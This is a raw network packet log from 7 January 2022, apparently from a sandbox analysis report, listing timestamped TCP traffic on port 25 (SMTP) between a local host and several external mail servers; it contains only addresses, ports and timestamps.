Jan 7, 2022 15:44:08.762276888 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762298107 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762317896 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762339115 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762360096 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762379885 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762402058 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.835630894 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:08.835936069 CET	50002	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:08.836107969 CET	50002	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:08.847867966 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:08.848125935 CET	50012	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:08.921125889 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.921155930 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.921276093 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.921331882 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:09.039053917 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.065346956 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.065593004 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.091972113 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.091994047 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.092248917 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.118532896 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.118565083 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.118591070 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.118690968 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.118758917 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.144942045 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.144963980 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.145061016 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.145083904 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.145104885 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.145180941 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.145272017 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.158474922 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:09.158544064 CET	50012	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:09.173095942 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.173126936 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.173192024 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.173218012 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.173254967 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.173280954 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.173346043 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.173361063 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.173372984 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.173402071 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.173425913 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.173451900 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.173479080 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.186837912 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:09.190386057 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:09.199846029 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.200284958 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.200417995 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.200448036 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.226690054 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.226867914 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.226897955 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.226926088 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.226953030 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.226979971 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.226999044 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.227005005 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.227025032 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.227044106 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.227070093 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.227073908 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.227144003 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.227153063 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.227175951 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.227201939 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.227220058 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.227229118 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.227257967 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.227264881 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.227297068 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.227312088 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.227327108 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.227333069 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.229798079 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.253329992 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253434896 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253464937 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253535032 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253561020 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253587961 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253654003 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253679037 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253705025 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253710985 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.253773928 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253807068 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253833055 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253859043 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.253935099 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.253998995 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254009962 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254039049 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254048109 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254062891 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254070044 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254091024 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254118919 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254126072 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254144907 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254160881 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254219055 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254220963 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254251003 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254255056 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254278898 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254303932 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254329920 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254379034 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254501104 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254514933 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254538059 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254566908 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254604101 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254630089 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254658937 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254682064 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254686117 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254714966 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254724979 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254740000 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254757881 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254765987 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254777908 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254795074 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254795074 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254821062 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254836082 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254877090 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254892111 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.254897118 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254970074 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.254996061 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255022049 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255089998 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255283117 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255310059 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255379915 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255408049 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255433083 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255501032 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255527020 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255553961 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255631924 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255657911 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255691051 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.255909920 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.256000996 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.280158997 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.280265093 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.280478954 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.280508041 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.280535936 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.280560970 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.280941010 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.280968904 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.281163931 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.281189919 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.281240940 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.281379938 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.281407118 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.281433105 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.281485081 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.281666040 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.281815052 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.281845093 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.281869888 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282013893 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282139063 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282167912 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282192945 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282219887 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282296896 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282318115 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282345057 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282371998 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282397985 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282495022 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282522917 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282547951 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282618046 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282645941 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282674074 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282736063 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282763004 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282788038 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282841921 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282870054 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282948971 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.282978058 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283004999 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283030033 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283154011 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283180952 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283207893 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283308983 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283335924 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283364058 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283390045 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283415079 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283441067 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283468008 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283523083 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283550024 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283576012 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283600092 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283626080 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283682108 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283710003 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283735037 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283787012 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283813953 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283898115 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.283926964 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.284014940 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.284044981 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.284070969 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.284125090 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.284149885 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.284177065 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.284202099 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.286360025 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.286398888 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.300347090 CET	50016	25	192.168.2.6	205.220.176.130
Jan 7, 2022 15:44:09.312741995 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.317778111 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.322052956 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:09.340508938 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:09.340635061 CET	50002	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:09.348541975 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:09.349474907 CET	50012	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:09.435688019 CET	25	50016	205.220.176.130	192.168.2.6
Jan 7, 2022 15:44:09.439460993 CET	50016	25	192.168.2.6	205.220.176.130
Jan 7, 2022 15:44:09.439560890 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:09.439759970 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:09.480381012 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:09.481481075 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:09.642297029 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:09.643508911 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:09.695082903 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:09.726902962 CET	25	50016	205.220.176.130	192.168.2.6
Jan 7, 2022 15:44:09.727058887 CET	50016	25	192.168.2.6	205.220.176.130
Jan 7, 2022 15:44:09.727385998 CET	50020	25	192.168.2.6	205.220.176.130
Jan 7, 2022 15:44:09.801847935 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:09.801903963 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:09.802086115 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:09.804733038 CET	49971	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:44:09.852018118 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:09.852322102 CET	50012	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:09.853534937 CET	25	50020	205.220.176.130	192.168.2.6
Jan 7, 2022 15:44:09.853715897 CET	50020	25	192.168.2.6	205.220.176.130
Jan 7, 2022 15:44:09.862556934 CET	25	50016	205.220.176.130	192.168.2.6
Jan 7, 2022 15:44:09.864958048 CET	25	50016	205.220.176.130	192.168.2.6
Jan 7, 2022 15:44:09.864998102 CET	25	50016	205.220.176.130	192.168.2.6
Jan 7, 2022 15:44:09.865108967 CET	50016	25	192.168.2.6	205.220.176.130
Jan 7, 2022 15:44:09.867132902 CET	50016	25	192.168.2.6	205.220.176.130
Jan 7, 2022 15:44:09.960513115 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:09.960746050 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:09.961209059 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.002754927 CET	25	50020	205.220.176.130	192.168.2.6
Jan 7, 2022 15:44:10.005712032 CET	50020	25	192.168.2.6	205.220.176.130
Jan 7, 2022 15:44:10.006115913 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.029941082 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.031003952 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.081810951 CET	25	49934	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:10.082052946 CET	49934	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:10.092607021 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.092731953 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.116147041 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.121362925 CET	25	49934	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:10.121484041 CET	49934	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:10.126904011 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.130068064 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.132042885 CET	25	50020	205.220.176.130	192.168.2.6
Jan 7, 2022 15:44:10.132076979 CET	25	50020	205.220.176.130	192.168.2.6
Jan 7, 2022 15:44:10.132154942 CET	50020	25	192.168.2.6	205.220.176.130
Jan 7, 2022 15:44:10.132190943 CET	50020	25	192.168.2.6	205.220.176.130
Jan 7, 2022 15:44:10.147007942 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.147162914 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.160902977 CET	25	49934	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:10.162313938 CET	49934	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:10.165056944 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.165241003 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.198050022 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:10.203494072 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.203656912 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.229903936 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.230218887 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.230746031 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.240700960 CET	25	49934	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:10.254265070 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.254405975 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.254451036 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.254539967 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.278188944 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.278332949 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.278351068 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.278470993 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.278486967 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.278597116 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.278685093 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.278759003 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.301814079 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.301963091 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.302146912 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.302216053 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.302267075 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.302294016 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.302448034 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.302568913 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.302594900 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.302665949 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.302781105 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.302856922 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.303045988 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.303112030 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.303155899 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.303231001 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.303265095 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.303327084 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.303430080 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.303499937 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.305337906 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.305557013 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.306102037 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.327485085 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.327528000 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.327702045 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.327719927 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.327789068 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.327826023 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.327991009 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.328094959 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.328103065 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.328131914 CET	25	50021	185.183.28.235	192.168.2.6
